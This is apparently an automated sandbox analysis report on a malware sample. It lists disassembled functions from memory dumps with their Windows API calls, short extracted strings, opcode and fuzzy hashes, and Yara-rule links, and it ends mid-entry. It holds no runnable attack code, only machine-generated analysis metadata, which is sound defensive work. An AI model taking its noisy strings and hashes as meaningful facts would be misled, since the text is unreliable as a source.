API String ID: 0-3615119605
Opcode ID: 586c196aa617ed4c7a1d18d4e7d1fd0b64e2746acf06b2ae55c3ae26f0b2b38b
Instruction ID: af7b0788b87c6e106ea67f544cf079badeb6b40dcc2a7e69a1917d089d3d92d0
Opcode Fuzzy Hash: 586c196aa617ed4c7a1d18d4e7d1fd0b64e2746acf06b2ae55c3ae26f0b2b38b
Instruction Fuzzy Hash: D7C10E724083819FD768DF21C98A94BFBE1BBC4758F108E1DF2A996260D7B58909CF47

Uniqueness

Uniqueness Score: -1.00%

Function 6ED51F65, Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1343COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6ED520E0

Strings

1#INF, xrefs: 6ED532AD
1#SNAN, xrefs: 6ED53289
1#IND, xrefs: 6ED53282
1#QNAN, xrefs: 6ED53290

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 8f5f1dee7ff2d4cd21bd26d9b8125e89f63703f98ddb0fe2722422e97594bdac
Instruction ID: 26c7743b8f27e2b86bb2ce777f4530c6ce9079b7bb88fac9230c3a678f2877ba
Opcode Fuzzy Hash: 8f5f1dee7ff2d4cd21bd26d9b8125e89f63703f98ddb0fe2722422e97594bdac
Instruction Fuzzy Hash: B0C24871E086298FDF64CFA8DD407DAB3B9EB49308F1045EAD84DA7344E774AA958F40

Uniqueness

Uniqueness Score: -1.00%

Function 6ED32C70, Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 404COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(6ED20000,?,00000104), ref: 6ED32E5C
GetModuleHandleW.KERNEL32(00000000), ref: 6ED330C6

Part of subcall function 6ED27B50: RaiseException.KERNEL32(?,?,00000000,00000000), ref: 6ED27B5D

Strings

Module_Raw, xrefs: 6ED331A0
Module, xrefs: 6ED33171
REGISTRY, xrefs: 6ED331F2

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Module$ExceptionFileHandleNameRaise
String ID: Module$Module_Raw$REGISTRY
API String ID: 1728487212-549000027
Opcode ID: cfd55c593b310934a1d77ccc0404613c2b50e945e67aa82babbe2a9fc5d07ed2
Instruction ID: 1f4fd318485d0c1749d28a8c1d2781781e724c33cc0aa3a2518565a8220d0e2f
Opcode Fuzzy Hash: cfd55c593b310934a1d77ccc0404613c2b50e945e67aa82babbe2a9fc5d07ed2
Instruction Fuzzy Hash: B3E1D1B5E002358BEB649B94DD54B9E73B4BF46308F1004B9D81EA7640EB75DE84CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00F9645F, Relevance: 9.1, Strings: 7, Instructions: 347COMMON

Download Yara Rule

Strings

), xrefs: 00F96601
vI[, xrefs: 00F967AD
y@, xrefs: 00F968EA
Q0f[, xrefs: 00F96767
> , xrefs: 00F967F7
U~p, xrefs: 00F96544
^., xrefs: 00F965A4

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: > $Q0f[$U~p$vI[$)$^.$y@
API String ID: 0-3549945254
Opcode ID: e99c1fb2487f1a21cba81a7a5bd15f2a8fcd60f9c05ad87de20bc7758406dff3
Instruction ID: 983185b1e173f9e2b916ff3a6d7dd6d6142342e24b590131bbe1fb275afce263
Opcode Fuzzy Hash: e99c1fb2487f1a21cba81a7a5bd15f2a8fcd60f9c05ad87de20bc7758406dff3
Instruction Fuzzy Hash: F80241B2408381DFE764CF21C589A5BFBE1FBD4748F10891DE29A86260C7B59949DF43

Uniqueness

Uniqueness Score: -1.00%

Function 6ED37334, Relevance: 9.0, APIs: 6, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000C,6ED37250,00000000,?,6ED373E8,00000000), ref: 6ED37336
GetProcessHeap.KERNEL32(00000008,00000008,00000000,00000000), ref: 6ED3735D
HeapAlloc.KERNEL32(00000000), ref: 6ED37364
InitializeSListHead.KERNEL32(00000000), ref: 6ED37371
GetProcessHeap.KERNEL32(00000000,00000000), ref: 6ED37386
HeapFree.KERNEL32(00000000), ref: 6ED3738D

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$AllocFeatureFreeHeadInitializeListPresentProcessor
String ID:
API String ID: 1475849761-0
Opcode ID: 8585f67052af82f08b753a95922ff635c5ce22bd3b7841fbec1c511e89de230c
Instruction ID: 76e2626ab27c94cf004c0a10d7d81ec488af864ed818e9ba7a865f2cbe8a420c
Opcode Fuzzy Hash: 8585f67052af82f08b753a95922ff635c5ce22bd3b7841fbec1c511e89de230c
Instruction Fuzzy Hash: 18F04F71610A21EFFB419F78C808F167BA8AB97712F114829E99AD32C0DE24C4428670

Uniqueness

Uniqueness Score: -1.00%

Function 00F88112, Relevance: 9.0, Strings: 7, Instructions: 279COMMON

Download Yara Rule

Strings

P^, xrefs: 00F8856C
Sz, xrefs: 00F8873D
Vf., xrefs: 00F88305
9?, xrefs: 00F884EF
-J, xrefs: 00F882A3
NBD, xrefs: 00F885B7
NBD, xrefs: 00F88177

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: -J$9?$NBD$NBD$P^$Sz$Vf.
API String ID: 0-1644255200
Opcode ID: 78e65f61648aa562cd719e3c4f3ad0fac5a8f7a3e378d690e78972d53f5e9e1f
Instruction ID: 7d9e0024a3c1a447669a850a00d7b9b1cab87ed95ef56523d38fe05ac16ec2c7
Opcode Fuzzy Hash: 78e65f61648aa562cd719e3c4f3ad0fac5a8f7a3e378d690e78972d53f5e9e1f
Instruction Fuzzy Hash: 25E131B25083819FC3A8DF25D98A64BFBF1FBC4758F508A0CF19986220D7B48949DF46

Uniqueness

Uniqueness Score: -1.00%

Function 00F9473A, Relevance: 9.0, Strings: 7, Instructions: 261COMMON

Download Yara Rule

Strings

|p, xrefs: 00F948F2
D, xrefs: 00F94B45
@#, xrefs: 00F949BC
G&, xrefs: 00F94AE9
-a(, xrefs: 00F94A06
@I, xrefs: 00F94A6E
aA]<, xrefs: 00F94816

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: -a($@#$@I$D$G&$aA]<$|p
API String ID: 0-3359372099
Opcode ID: d7e175d2778a437088ed1021bbc52ed79d0467c54f4a6b8f75f29ca09634d336
Instruction ID: 5b8c011bae36e0418037237908477d7cb04bcb74259462ccaf59e51f54e85de8
Opcode Fuzzy Hash: d7e175d2778a437088ed1021bbc52ed79d0467c54f4a6b8f75f29ca09634d336
Instruction Fuzzy Hash: 27C10F725083809FE768CF26C88995FFBE2BBD4758F108A1DF29596260D3B59909CF43

Uniqueness

Uniqueness Score: -1.00%

Function 00F904A4, Relevance: 9.0, Strings: 7, Instructions: 202COMMON

Download Yara Rule

Strings

}', xrefs: 00F907D6
H}B, xrefs: 00F9062E
}', xrefs: 00F9070A
', xrefs: 00F906CB
}', xrefs: 00F9080A
LH, xrefs: 00F9055B
4t, xrefs: 00F9051F

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 4t$H}B$LH$}'$}'$}'$'
API String ID: 0-3450385318
Opcode ID: 1515c0466010bd4e95c739932e566d20c1a32696f45fd2230b76f3e16968fd95
Instruction ID: f76e4ab22999327528f8e00caf774ab3a85b91f591114f221d2ba983f92e11f2
Opcode Fuzzy Hash: 1515c0466010bd4e95c739932e566d20c1a32696f45fd2230b76f3e16968fd95
Instruction Fuzzy Hash: D69130726093409FD758CF64D98A80BBBF2FBC8758F108A0DF19986260D7B59A48DF47

Uniqueness

Uniqueness Score: -1.00%

Function 00F9604E, Relevance: 9.0, Strings: 7, Instructions: 201COMMON

Download Yara Rule

Strings

?)U8, xrefs: 00F96223
6"-, xrefs: 00F9618A
fm>, xrefs: 00F96110
T5(, xrefs: 00F961E9
'%,, xrefs: 00F960DF
9,|, xrefs: 00F96117
hEG, xrefs: 00F9606B

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: '%,$6"-$9,|$?)U8$T5($fm>$hEG
API String ID: 0-4282948982
Opcode ID: 97228ab59ed9630f98e9f0e5e78fbbfcc72a5cdc37ae4c889db6885b95efb7da
Instruction ID: 99515d741dc928c3ee36e656462e4356153b9d7fc0fca05ea7bda7f805eb6721
Opcode Fuzzy Hash: 97228ab59ed9630f98e9f0e5e78fbbfcc72a5cdc37ae4c889db6885b95efb7da
Instruction Fuzzy Hash: 65A11FB5D0121CEBCF08DFE5D98A8DEBBB2FB44704F20815AE416BA260D7B51A49CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6ED54DA4, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(51CEB70F,2000000B,00000000,00000002,00000000,?,?,?,6ED550CA,?,00000000), ref: 6ED54E3D
GetLocaleInfoW.KERNEL32(51CEB70F,20001004,00000000,00000002,00000000,?,?,?,6ED550CA,?,00000000), ref: 6ED54E66
GetACP.KERNEL32(?,?,6ED550CA,?,00000000), ref: 6ED54E7B

Strings

OCP, xrefs: 6ED54DF8
ACP, xrefs: 6ED54DC2

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 890e16c1c2fa7c1be1db22646e613926a7ec794453b50b2b0a3384e756519a29
Instruction ID: 470499432fc06cac219b5ffa5b981543b25257a6001b9fb29d74c70054d30a8f
Opcode Fuzzy Hash: 890e16c1c2fa7c1be1db22646e613926a7ec794453b50b2b0a3384e756519a29
Instruction Fuzzy Hash: DD21C722A14101EAEF658FE5C801ACF73B6AF41B50B628515E81BC7308E732DD73C351

Uniqueness

Uniqueness Score: -1.00%

Function 00F93130, Relevance: 7.9, Strings: 6, Instructions: 386COMMON

Download Yara Rule

Strings

c/, xrefs: 00F933C2
-o, xrefs: 00F93472
{d, xrefs: 00F932BA
BD, xrefs: 00F93498
7]bM, xrefs: 00F93313
z, xrefs: 00F9332B

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: BD$-o$7]bM$c/${d$z
API String ID: 0-1369920251
Opcode ID: 0978cbd6e6b2e58b4b5b5a330a28090e9600e36508660258ce69f92898b9e1cc
Instruction ID: 1ba6f465d0bc2eac88d5d377dbe47fdcb375751245ef021485fbbcbe90e9119f
Opcode Fuzzy Hash: 0978cbd6e6b2e58b4b5b5a330a28090e9600e36508660258ce69f92898b9e1cc
Instruction Fuzzy Hash: C11244729083809FE768DF25C88AA4BFBE2BBC4754F10891DF5D986260D7B58948DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00F8B12E, Relevance: 7.8, Strings: 6, Instructions: 313COMMON

Download Yara Rule

Strings

qt, xrefs: 00F8B2DE
SG#, xrefs: 00F8B1F4
TY, xrefs: 00F8B484
6m%, xrefs: 00F8B375
%r7, xrefs: 00F8B2CD
v', xrefs: 00F8B5EB

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: %r7$6m%$SG#$TY$qt$v'
API String ID: 0-3237691032
Opcode ID: 20380e9f9ff9f6be3a0d53ccb25dada7859014b9c262003ca4a0f46a1f3d225c
Instruction ID: c0e2f211c9acbcfefe600f24f25885a5a00e2f14e6884e48deff7013dfdcb4bc
Opcode Fuzzy Hash: 20380e9f9ff9f6be3a0d53ccb25dada7859014b9c262003ca4a0f46a1f3d225c
Instruction Fuzzy Hash: D9F100B15083819FD369DF61C94AA8BBBF1BBC5748F10891CF2DA86260D7B58909DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00F8D899, Relevance: 7.8, Strings: 6, Instructions: 266COMMON

Download Yara Rule

Strings

&hL, xrefs: 00F8DCAC
E_g, xrefs: 00F8D92E
'Q-, xrefs: 00F8D90E
2Kz, xrefs: 00F8DA2E
bf, xrefs: 00F8DAD5
&hL, xrefs: 00F8DCEB

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: &hL$&hL$'Q-$2Kz$E_g$bf
API String ID: 0-3327759155
Opcode ID: 818fcac5b5801ca78e024e69867041b2eb9182ed99eaae261f8d373ea8ec87c4
Instruction ID: a3e98ae608e0859556e03cd506f253a03dc3162e89b6c6c5a5a25a906d22f9f1
Opcode Fuzzy Hash: 818fcac5b5801ca78e024e69867041b2eb9182ed99eaae261f8d373ea8ec87c4
Instruction Fuzzy Hash: F3C1327290D3408FC368EF25D58A50BBBE1BBC4758F108A2DF5959A260D7B6C949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 00F9BA18, Relevance: 7.8, Strings: 6, Instructions: 254COMMON

Download Yara Rule

Strings

DF`, xrefs: 00F9BA30
XF, xrefs: 00F9BB01
OY<, xrefs: 00F9BC8E
Wv, xrefs: 00F9BADC
j,r), xrefs: 00F9BCEB
OE, xrefs: 00F9BBBA

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: OE$OY<$Wv$XF$j,r)$DF`
API String ID: 0-3120813865
Opcode ID: 2032882d80c1d9cc048490145af03e893b5b41e9706b90e3c8d219925cedf25d
Instruction ID: e8d2760c37426d100e8a5ffea9c6923438eefbbc407d4f7236c0fd190db3a3a6
Opcode Fuzzy Hash: 2032882d80c1d9cc048490145af03e893b5b41e9706b90e3c8d219925cedf25d
Instruction Fuzzy Hash: 1EC132725083419FD398CF61C98A94BFBE1FBC4748F10891DF1A68A260D7B59909CF82

Uniqueness

Uniqueness Score: -1.00%

Function 00F9E7DA, Relevance: 7.8, Strings: 6, Instructions: 253COMMON

Download Yara Rule

Strings

|, xrefs: 00F9E978
Ti, xrefs: 00F9E85F
vtc, xrefs: 00F9E990
"E), xrefs: 00F9E9B1
X(, xrefs: 00F9EB02
~Mj, xrefs: 00F9EA7E

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: "E)$Ti$X($vtc$|$~Mj
API String ID: 0-2927301414
Opcode ID: 3d8ec008e6dc49c306694b80d1cb3fa0644b027db4ae6c0dfe7877f2034c749e
Instruction ID: 9a480424e9c6e9b1ea8e0bf3664070137c196dffe1a26b8d8c0defc96aa26b2f
Opcode Fuzzy Hash: 3d8ec008e6dc49c306694b80d1cb3fa0644b027db4ae6c0dfe7877f2034c749e
Instruction Fuzzy Hash: ECC142728083409FE768CF65C58A90BFBE2BBC4758F108A1DF59A96260D3B59909DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00F90A37, Relevance: 7.8, Strings: 6, Instructions: 251COMMON

Download Yara Rule

Strings

8z, xrefs: 00F90A83
(TO, xrefs: 00F90B57
His, xrefs: 00F90AB2
8z, xrefs: 00F90D80
~a, xrefs: 00F90BA0
0;, xrefs: 00F90BD8

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: (TO$0;$8z$8z$His$~a
API String ID: 0-2714135093
Opcode ID: df3878934ae7ed5ea030270df1f8f08988b6eeb6046ee7f2e8ef2026ca98c2c6
Instruction ID: 0aa046ee5c1ac13633daae515c73f312c1c1024460b6f2cb0faa8d5ff72dd9ee
Opcode Fuzzy Hash: df3878934ae7ed5ea030270df1f8f08988b6eeb6046ee7f2e8ef2026ca98c2c6
Instruction Fuzzy Hash: C7C142728083809FD7A8DF65C88991BBBE1FBD4758F408A1DF29686260D7B5C948DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00F8196D, Relevance: 7.7, Strings: 6, Instructions: 234COMMON

Download Yara Rule

Strings

I+C, xrefs: 00F81B36
), xrefs: 00F81A56
Ht|, xrefs: 00F819FB
\a, xrefs: 00F81B80
E5, xrefs: 00F81B09
i_Z, xrefs: 00F81B6B

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: )$E5$Ht|$I+C$\a$i_Z
API String ID: 0-3197448685
Opcode ID: b8433abe0c820301126c1cbda2ac5d39230899c9e61399e0875197d02daf5230
Instruction ID: 79a561486cdbd227debdc17f92b908f3e6aff985ba24c69552a792ea6072c1d9
Opcode Fuzzy Hash: b8433abe0c820301126c1cbda2ac5d39230899c9e61399e0875197d02daf5230
Instruction Fuzzy Hash: 27B151B28083418FC358DF65C58945BFBF5BBC4758F104A2DF695A6260D3B18A4ACF83

Uniqueness

Uniqueness Score: -1.00%

Function 00F95B7C, Relevance: 7.7, Strings: 6, Instructions: 228COMMON

Download Yara Rule

Strings

&?, xrefs: 00F95CA8
YY, xrefs: 00F95C77
l] , xrefs: 00F95D61
*ZV, xrefs: 00F95BE7
HU;, xrefs: 00F95DD5
,S, xrefs: 00F95B93

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: &?$*ZV$,S$HU;$YY$l]
API String ID: 0-166477480
Opcode ID: 8379d690d42ec0717b2dc05813671df429d046ea21c66b5b0be9c591ecf28804
Instruction ID: fac0dc4bad090cb219e3aba9cd75cdd7edd3cec17dc22f9b91394b2954de0051
Opcode Fuzzy Hash: 8379d690d42ec0717b2dc05813671df429d046ea21c66b5b0be9c591ecf28804
Instruction Fuzzy Hash: B1B131729093419FD764CF29C58981FFBE1BBC4768F108A2DF59586224D3B1CA49CF82

Uniqueness

Uniqueness Score: -1.00%

Function 00F89565, Relevance: 7.7, Strings: 6, Instructions: 205COMMON

Download Yara Rule

Strings

p, xrefs: 00F89837
L *, xrefs: 00F89794
t&, xrefs: 00F8970A
K}, xrefs: 00F8976B
`w, xrefs: 00F8972A
tV, xrefs: 00F896D5

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: K}$L *$`w$t&$tV$p
API String ID: 0-1343311438
Opcode ID: 2ad9bcb762acc74cf1e9a7c490a659930750ea55e187b3d99eb063a2d7dd7732
Instruction ID: ff59c7580fc892747e1404499647bfc3c243e1cadee0e5cd8bb7057aa4b87009
Opcode Fuzzy Hash: 2ad9bcb762acc74cf1e9a7c490a659930750ea55e187b3d99eb063a2d7dd7732
Instruction Fuzzy Hash: 26A14FB280C382AFD798DF25D88A41BFBE1BB84758F405A1CF19596220D7B5D909DF82

Uniqueness

Uniqueness Score: -1.00%

Function 6ED54F7F, Relevance: 7.7, APIs: 5, Instructions: 184COMMON

Download Yara Rule

APIs

Part of subcall function 6ED4897C: GetLastError.KERNEL32(00000000,00000000,00000004,6ED3B7B1,00000000,00000000,00000000,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48981
Part of subcall function 6ED4897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48A1F

Part of subcall function 6ED4897C: _free.LIBCMT ref: 6ED489DE
Part of subcall function 6ED4897C: _free.LIBCMT ref: 6ED48A14

GetUserDefaultLCID.KERNEL32(00000055,?,?), ref: 6ED5508B
IsValidCodePage.KERNEL32(00000000), ref: 6ED550D6
IsValidLocale.KERNEL32(?,00000001), ref: 6ED550E5
GetLocaleInfoW.KERNEL32(?,00001001,6ED49DC4,00000040,?,6ED49EE4,00000055,00000000,?,?,00000055,00000000), ref: 6ED5512D
GetLocaleInfoW.KERNEL32(?,00001002,6ED49E44,00000040), ref: 6ED5514C

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID:
API String ID: 949163717-0
Opcode ID: 107391d33e41d9ff334f79816bc087f71fd9e2ca502875e1d013f25fc40ca0ea
Instruction ID: f64b0ffcfe6b422ed8f4f4fc42f6b82a146c023ab22033980f87c15aef256626
Opcode Fuzzy Hash: 107391d33e41d9ff334f79816bc087f71fd9e2ca502875e1d013f25fc40ca0ea
Instruction Fuzzy Hash: 0C519272900316EFEF41DFE9CC41AAE77B8BF05300F000869E925EB280E771D9658BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F96B91, Relevance: 7.7, Strings: 6, Instructions: 152COMMON

Download Yara Rule

Strings

l/, xrefs: 00F96C30
-^, xrefs: 00F96CD3
tLo, xrefs: 00F96D34
r, xrefs: 00F96D1F
fHB, xrefs: 00F96C96
AV, xrefs: 00F96BFD

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: -^$AV$fHB$l/$tLo$r
API String ID: 0-2229134097
Opcode ID: e3579de5ad6a83b3ba8b48c7630ee2424d614798a460fb696b5ef2ed0479d801
Instruction ID: eef79a616b75fa4b6235d3973508e4891be4109fb777ea90732bf91610459c9f
Opcode Fuzzy Hash: e3579de5ad6a83b3ba8b48c7630ee2424d614798a460fb696b5ef2ed0479d801
Instruction Fuzzy Hash: BE7150715083409FD758DF61C58981BFBF1FBC4758F50892EF29A96260C3B98A48CF82

Uniqueness

Uniqueness Score: -1.00%

Function 00F8FBEF, Relevance: 6.5, Strings: 5, Instructions: 278COMMON

Download Yara Rule

Strings

;, xrefs: 00F8FF36
y, xrefs: 00F8FC63
ge, xrefs: 00F90039
ED:, xrefs: 00F8FF9B
G~s, xrefs: 00F8FBF5

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ;$ED:$G~s$ge$y
API String ID: 0-4105283278
Opcode ID: 66bc77ad2a99363285a70c318081577a784c4ed92977e53b823789b6205378a0
Instruction ID: dbbe2274bea4ee4e618b0ff52bb1af9dc920daac4cfa3f14e1557ebdd3064ebc
Opcode Fuzzy Hash: 66bc77ad2a99363285a70c318081577a784c4ed92977e53b823789b6205378a0
Instruction Fuzzy Hash: 3EE101B15083809FD3A8DF26C98A60BFBE1FBC5708F508A0DF59996260D7B58949DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00F8BEF5, Relevance: 6.5, Strings: 5, Instructions: 240COMMON

Download Yara Rule

Strings

", xrefs: 00F8C08D
ln, xrefs: 00F8BF02
I, xrefs: 00F8C14F
oNL, xrefs: 00F8BEF8
>/f, xrefs: 00F8BF84

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: "$>/f$I$ln$oNL
API String ID: 0-652186313
Opcode ID: 4dc5185c755fe25774e793f059bbcf6492582f46d2a1d5bf67c6f49d97db6772
Instruction ID: 213c10f2cd3b102a03e32f4e9644350915399ff674a5246af4290d4f78a6a3c9
Opcode Fuzzy Hash: 4dc5185c755fe25774e793f059bbcf6492582f46d2a1d5bf67c6f49d97db6772
Instruction Fuzzy Hash: E9C160B14083818FC358CF65C58595BBBF1FBC9708F108A0DF19A96260D3B8DA4ADF96

Uniqueness

Uniqueness Score: -1.00%

Function 00F956A9, Relevance: 6.5, Strings: 5, Instructions: 217COMMON

Download Yara Rule

Strings

]t, xrefs: 00F958BD
WQ, xrefs: 00F957BF
W, xrefs: 00F956F5
(j], xrefs: 00F95722
,d, xrefs: 00F95908

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: (j]$,d$WQ$W$]t
API String ID: 0-3511903769
Opcode ID: de76a1e8cc16fdf8a81637f86cacaada62e77daa87cd4e2bcc56fbb8f63504a8
Instruction ID: f9f7ba2ec4db7d1b5bf463f93dc08e48c4c21f3d2584fc77d1c014c709f46f71
Opcode Fuzzy Hash: de76a1e8cc16fdf8a81637f86cacaada62e77daa87cd4e2bcc56fbb8f63504a8
Instruction Fuzzy Hash: 94A15F711087809FD798CF25C48A91FBBE1FBC4B58F604A1DF5869A220C3B58A49DF46

Uniqueness

Uniqueness Score: -1.00%

Function 00F8E336, Relevance: 6.5, Strings: 5, Instructions: 215COMMON

Download Yara Rule

Strings

Y1, xrefs: 00F8E43F
&", xrefs: 00F8E5B8
y@ko, xrefs: 00F8E40B
S3, xrefs: 00F8E4D8
1, xrefs: 00F8E457

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: &"$S3$Y1$y@ko$1
API String ID: 0-1237345320
Opcode ID: 9c0ee166a0d573da2383d4e941f13942f6eb3f52a2fce6c77f87b5e0c06da37b
Instruction ID: 689839ed17411be0757ed087d347708b3614da25e37c75a28bcd53d4fa78468a
Opcode Fuzzy Hash: 9c0ee166a0d573da2383d4e941f13942f6eb3f52a2fce6c77f87b5e0c06da37b
Instruction Fuzzy Hash: C4A192725093419FD358DF21C58992BFBE2FBC8718F40891DF29696260E3B5DA089F43

Uniqueness

Uniqueness Score: -1.00%

Function 00F9D10B, Relevance: 6.4, Strings: 5, Instructions: 200COMMON

Download Yara Rule

Strings

FnE, xrefs: 00F9D14F
u'd, xrefs: 00F9D323
(1p, xrefs: 00F9D27C
5EV~, xrefs: 00F9D15F
2l, xrefs: 00F9D216

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: (1p$5EV~$FnE$u'd$2l
API String ID: 0-2267264843
Opcode ID: 3a6e5c8a3744a167f9944f9ba549c763608917960df56a45f259c2ecf7dc7213
Instruction ID: 61bfa9b773cd700895c60bbac916c84c5b75dbca9c9e34617dec61904cf999c1
Opcode Fuzzy Hash: 3a6e5c8a3744a167f9944f9ba549c763608917960df56a45f259c2ecf7dc7213
Instruction Fuzzy Hash: 5F9134729083819BD758DF64C88A41BFBE1FBC4798F104A1DF18596220D7B6D958DB83

Uniqueness

Uniqueness Score: -1.00%

Function 6ED34E67, Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6ED34E73
IsDebuggerPresent.KERNEL32 ref: 6ED34F3F
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6ED34F5F
UnhandledExceptionFilter.KERNEL32(?), ref: 6ED34F69

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
